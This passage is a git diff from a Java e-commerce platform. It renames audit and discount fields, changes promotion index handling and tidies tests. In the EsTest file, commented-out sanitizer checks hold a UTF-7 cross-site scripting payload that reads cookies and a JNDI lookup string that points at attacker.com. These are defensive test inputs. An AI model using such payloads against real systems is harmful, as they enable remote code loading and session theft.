GoodsAuthEnum.PASS.name()); skuQueryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); List goodsSkuList = goodsSkuService.list(skuQueryWrapper); @@ -420,7 +420,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements Map promotionMap = goodsIndex.getPromotionMap(); if (promotionMap != null && !promotionMap.isEmpty()) { //如果存在同类型促销活动删除 - List collect = promotionMap.keySet().parallelStream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList()); + List collect = promotionMap.keySet().stream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList()); collect.forEach(promotionMap::remove); goodsIndex.setPromotionMap(promotionMap); updateIndex(goodsIndex); @@ -432,14 +432,16 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } @Override - public void deleteEsGoodsPromotionByPromotionId(String skuId, String promotionId) { - if (skuId != null) { - EsGoodsIndex goodsIndex = findById(skuId); - //商品索引不为空 - if (goodsIndex != null) { - this.removePromotionByPromotionId(goodsIndex, promotionId); - } else { - log.error("更新索引商品促销信息失败!skuId 为 【{}】的索引不存在!", skuId); + public void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId) { + if (skuIds != null && !skuIds.isEmpty()) { + for (String skuId : skuIds) { + EsGoodsIndex goodsIndex = findById(skuId); + //商品索引不为空 + if (goodsIndex != null) { + this.removePromotionByPromotionId(goodsIndex, promotionId); + } else { + log.error("更新索引商品促销信息失败!skuId 为 【{}】的索引不存在!", skuId); + } } } else { for (EsGoodsIndex goodsIndex : this.goodsIndexRepository.findAll()) { @@ -480,7 +482,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements for (Map.Entry entry : promotionMap.entrySet()) { BasePromotions promotion = (BasePromotions) entry.getValue(); //判定条件为活动已结束 - if (promotion.getEndTime().getTime() < DateUtil.date().getTime()) { + if (promotion.getEndTime() != null && promotion.getEndTime().getTime() < DateUtil.date().getTime()) { if (entry.getKey().contains(PromotionTypeEnum.SECKILL.name()) || entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { goodsIndex.setPromotionPrice(goodsIndex.getPrice()); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java index 11764356..755d445f 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java @@ -372,7 +372,7 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { //未上架的商品不显示 filterBuilder.must(QueryBuilders.matchQuery("marketEnable", GoodsStatusEnum.UPPER.name())); //待审核和审核不通过的商品不显示 - filterBuilder.must(QueryBuilders.matchQuery("isAuth", GoodsAuthEnum.PASS.name())); + filterBuilder.must(QueryBuilders.matchQuery("authFlag", GoodsAuthEnum.PASS.name())); //关键字检索 diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java index b0e9768c..87b52e31 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java @@ -37,7 +37,7 @@ public class GoodsStatisticsServiceImpl extends ServiceImpl { //循环菜单,赋予用户权限 - if (StrUtil.isNotEmpty(menu.getPermission())) { + if (CharSequenceUtil.isNotEmpty(menu.getPermission())) { //获取路径集合 String[] permissionUrl = menu.getPermission().split(","); //for循环路径集合 for (String url : permissionUrl) { //如果是超级权限 则计入超级权限 - if (menu.getSuper()) { + if (Boolean.TRUE.equals(menu.getSuper())) { //如果已有超级权限,则这里就不做权限的累加 if (!superPermissions.contains(url)) { superPermissions.add(url); diff --git a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java index 8004783c..26189243 100644 --- a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java @@ -1,8 +1,8 @@ package cn.lili.controller.goods; import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; import cn.lili.common.enums.ResultUtil; +import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsSku; @@ -61,7 +61,7 @@ public class GoodsManagerController { @GetMapping(value = "/auth/list") public IPage getAuthPage(GoodsSearchParams goodsSearchParams) { - goodsSearchParams.setIsAuth(GoodsAuthEnum.TOBEAUDITED.name()); + goodsSearchParams.setAuthFlag(GoodsAuthEnum.TOBEAUDITED.name()); return goodsService.queryByParams(goodsSearchParams); } @@ -82,12 +82,12 @@ public class GoodsManagerController { @ApiOperation(value = "管理员审核商品", notes = "管理员审核商品") @ApiImplicitParams({ @ApiImplicitParam(name = "goodsIds", value = "商品ID", required = true, paramType = "path", allowMultiple = true, dataType = "int"), - @ApiImplicitParam(name = "isAuth", value = "审核结果", required = true, paramType = "query", dataType = "string") + @ApiImplicitParam(name = "authFlag", value = "审核结果", required = true, paramType = "query", dataType = "string") }) @PutMapping(value = "{goodsIds}/auth") - public ResultMessage auth(@PathVariable List goodsIds, @RequestParam String isAuth) { + public ResultMessage auth(@PathVariable List goodsIds, @RequestParam String authFlag) { //校验商品是否存在 - if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(isAuth))) { + if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(authFlag))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.GOODS_AUTH_ERROR); diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java index 806115d6..5dc789b2 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java @@ -24,7 +24,7 @@ import java.util.Arrays; * 管理端,促销接口 * * @author qiuqiu - * @date 2021/7/2 + * @since 2021/7/2 **/ @RestController @Api(tags = "管理端,砍价促销接口") @@ -44,8 +44,8 @@ public class KanJiaActivityGoodsManagerController { @ApiOperation(value = "获取砍价活动分页") @GetMapping - public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) { - return ResultUtil.data(kanJiaActivityGoodsService.getForPage(KanJiaActivityParams, page)); + public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams kanJiaParams, PageVO page) { + return ResultUtil.data(kanJiaActivityGoodsService.pageFindAll(kanJiaParams, page)); } @@ -60,7 +60,9 @@ public class KanJiaActivityGoodsManagerController { @PutMapping @ApiOperation(value = "修改砍价商品") public ResultMessage updatePointsGoods(@RequestBody KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) { - kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO); + if (!kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO)) { + return ResultUtil.error(ResultCode.KANJIA_GOODS_UPDATE_ERROR); + } return ResultUtil.success(); } @@ -68,7 +70,7 @@ public class KanJiaActivityGoodsManagerController { @DeleteMapping("/{ids}") @ApiOperation(value = "删除砍价商品") public ResultMessage delete(@PathVariable String ids) { - if (kanJiaActivityGoodsService.deleteKanJiaGoods(Arrays.asList(ids.split(",")))) { + if (kanJiaActivityGoodsService.removePromotions(Arrays.asList(ids.split(",")))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.KANJIA_GOODS_DELETE_ERROR); diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 9210cc79..2efe7fcd 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -7,6 +7,8 @@ import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.promotion.entity.dos.FullDiscount; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; @@ -63,14 +65,18 @@ class EsTest { // System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); // System.out.println(HtmlUtil.unescape(safeHTML)); // System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); - Date dt1 = new Date(2021, 12, 10); - Date dt2 = new Date(2021, 12, 14); - - System.out.println(new Date().before(dt2)); +// Date dt1 = new Date(2021, 12, 10); +// Date dt2 = new Date(2021, 12, 14); +// +// System.out.println(new Date().before(dt2)); // String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); // String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); // System.out.println(filter); // System.out.println(sanitize); + FullDiscount fullDiscount = new FullDiscount(); + fullDiscount.setStartTime(new Date()); + BasePromotions promotions = fullDiscount; + System.out.println(promotions); } @@ -124,7 +130,7 @@ class EsTest { @Test void init() { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); + queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name()); queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); List list = goodsSkuService.list(queryWrapper); List esGoodsIndices = new ArrayList<>(); @@ -173,60 +179,6 @@ class EsTest { @Test void updateIndex() { -// EsGoodsIndex goodsIndex = new EsGoodsIndex(); -// goodsIndex.setId("121"); -// goodsIndex.setBrandId("113"); -// goodsIndex.setGoodsId("113"); -// goodsIndex.setCategoryPath("0|1"); -// goodsIndex.setBuyCount(100); -// goodsIndex.setCommentNum(100); -// goodsIndex.setGoodsName("惠普(HP)战66 三代AMD版14英寸轻薄笔记本电脑(锐龙7nm 六核R5-4500U 16G 512G 400尼特高色域一年上门 )"); -// goodsIndex.setGrade(100D); -// goodsIndex.setHighPraiseNum(100); -// goodsIndex.setIntro("I'd like a cup of tea, please"); -// goodsIndex.setIsAuth("1"); -// goodsIndex.setMarketEnable("1"); -// goodsIndex.setMobileIntro("I want something cold to drink"); -// goodsIndex.setPoint(100); -// goodsIndex.setPrice(100D); -// goodsIndex.setSelfOperated(true); -// goodsIndex.setStoreId("113"); -// goodsIndex.setStoreName("惠普自营官方旗舰店"); -// goodsIndex.setStoreCategoryPath("1"); -// goodsIndex.setThumbnail("picture"); -// goodsIndex.setSn("A113"); -// Map promotionMap = new HashMap<>(); -// Coupon coupon = new Coupon(); -// coupon.setStoreId("113"); -// coupon.setStoreName("惠普自营官方旗舰店"); -// coupon.setPromotionStatus(PromotionStatusEnum.START.name()); -// coupon.setReceivedNum(0); -// coupon.setConsumeLimit(11D); -// coupon.setCouponLimitNum(10); -// coupon.setCouponName("满11减10"); -// coupon.setCouponType(CouponTypeEnum.PRICE.name()); -// coupon.setGetType(CouponGetEnum.FREE.name()); -// coupon.setPrice(10D); -// promotionMap.put(PromotionTypeEnum.COUPON.name(), coupon); -// goodsIndex.setPromotionMap(promotionMap); -// List esGoodsAttributeList = new ArrayList<>(); -// EsGoodsAttribute attribute = new EsGoodsAttribute(); -// attribute.setType(0); -// attribute.setName("颜色"); -// attribute.setValue("14英寸"); -// esGoodsAttributeList.add(attribute); -// esGoodsAttributeList.add(attribute); -// attribute = new EsGoodsAttribute(); -// attribute.setName("版本"); -// attribute.setValue("【战66新品】R5-4500 8G 256G"); -// esGoodsAttributeList.add(attribute); -// attribute = new EsGoodsAttribute(); -// attribute.setName("配置"); -// attribute.setValue("i5 8G 512G 2G独显"); -// esGoodsAttributeList.add(attribute); -// goodsIndex.setAttrList(esGoodsAttributeList); -// GoodsSku goodsSkuByIdFromCache = goodsSkuService.getGoodsSkuByIdFromCache("121"); -// EsGoodsIndex goodsIndex = new EsGoodsIndex(goodsSkuByIdFromCache); EsGoodsIndex byId = esGoodsIndexService.findById("121"); byId.setPromotionMap(null); esGoodsIndexService.updateIndex(byId); @@ -253,7 +205,7 @@ class EsTest { goodsIndex.setGrade(100D); goodsIndex.setHighPraiseNum(100); goodsIndex.setIntro("I'd like a cup of tea, please"); - goodsIndex.setIsAuth("1"); + goodsIndex.setAuthFlag("1"); goodsIndex.setMarketEnable("1"); goodsIndex.setMobileIntro("I want something cold to drink"); goodsIndex.setPoint(0); diff --git a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java index 88465e82..f90f1970 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java @@ -42,10 +42,10 @@ class FullDiscountTest { fullDiscountVO.setStoreId("131"); fullDiscountVO.setStoreName("小米自营旗舰店"); fullDiscountVO.setDescription("full discount test " + RandomUtil.randomNumber()); - fullDiscountVO.setIsFullMinus(true); + fullDiscountVO.setFullMinusFlag(true); fullDiscountVO.setFullMoney(130D); fullDiscountVO.setFullMinus(100D); - fullDiscountVO.setIsFreeFreight(true); + fullDiscountVO.setFreeFreightFlag(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); fullDiscountVO.setTitle("满" + fullDiscountVO.getFullMoney() + "减" + fullDiscountVO.getFullMinus()); @@ -91,10 +91,10 @@ class FullDiscountTest { fullDiscountVO.setStoreId("132"); fullDiscountVO.setStoreName("联想自营旗舰店"); fullDiscountVO.setDescription("Not worth"); - fullDiscountVO.setIsFullMinus(true); + fullDiscountVO.setFullMinusFlag(true); fullDiscountVO.setFullMoney(100D); fullDiscountVO.setFullMinus(80D); - fullDiscountVO.setIsFreeFreight(true); + fullDiscountVO.setFreeFreightFlag(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); fullDiscountVO.setTitle("满" + fullDiscountVO.getFullMoney() + "减" + fullDiscountVO.getFullMinus()); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java index 85dfcc13..22e271fa 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java @@ -1,5 +1,6 @@ package cn.lili.controller.promotion; +import cn.hutool.core.util.ArrayUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; @@ -24,7 +25,9 @@ import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.*; import java.util.Collections; +import java.util.List; import java.util.Objects; +import java.util.stream.Collectors; /** * 店铺端,拼团管理接口 @@ -88,6 +91,12 @@ public class PintuanStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); pintuan.setStoreId(currentUser.getStoreId()); pintuan.setStoreName(currentUser.getStoreName()); + if (pintuan.getPromotionGoodsList() != null && !pintuan.getPromotionGoodsList().isEmpty()) { + List skuIds = pintuan.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); + pintuan.setScopeId(ArrayUtil.join(skuIds.toArray(), ",")); + } else { + pintuan.setScopeId(null); + } if (pintuanService.updatePromotions(pintuan)) { return ResultUtil.success(ResultCode.PINTUAN_EDIT_SUCCESS); }